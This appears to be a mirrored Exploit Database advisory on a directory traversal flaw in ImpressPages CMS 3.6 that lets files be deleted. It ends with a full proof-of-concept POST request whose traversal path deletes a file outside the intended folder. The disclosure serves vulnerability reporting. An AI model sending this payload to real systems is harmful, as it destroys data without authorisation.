ImpressPages CMS 3.6 – Arbitrary File Deletion

• Exploit Database
• 114 阅读

• 作者： LiquidWorm
  日期： 2013-11-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/29328/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

  ImpressPages CMS v3.6 Remote Arbitrary File Deletion Vulnerability     Vendor: ImpressPages UAB Product web page: http://www.impresspages.org Affected version: 3.6   Summary: ImpressPages CMS is an open source web content management system with revolutionary drag & drop interface.   Desc: Input passed to the 'files[0][file]' parameter in '/ip_cms/modules/administrator/repository/controller.php' is not properly sanitised before being used to delete files. This can be exploited to delete files with the permissions of the web server via directory traversal sequences passed within the affected POST parameter.   Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 PHP 5.4.7 MySQL 5.5.25a     Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience     Advisory ID: ZSL-2013-5158 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5158.php   Vendor: http://www.impresspages.org/blog/impresspages-cms-3-7-is-mobile-as-never-before/       12.10.2013   --     POST /impresspages/ HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Content-Length: 387 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://localhost X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://localhost/impresspages/?cms_action=manage Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1   g=administrator&m=repository&a=deleteFiles&files%5B0%5D%5BfileName%5D=readme.txt&files%5B0%5D%5Bdir%5D=file%2Frepository%2F&files%5B0%5D%5Bfile%5D=/../../../joxy.txt&files%5B0%5D%5Bext%5D=txt&files%5B0%5D%5Bpreview%5D=ip_cms%2Fmodules%2Fadministrator%2Frepository%2Fpublic%2Fadmin%2Ficons%2Fgeneral.png&files%5B0%5D%5Bmodified%5D=1381393098&securityToken=c029f7293955df089676b78af8222d2a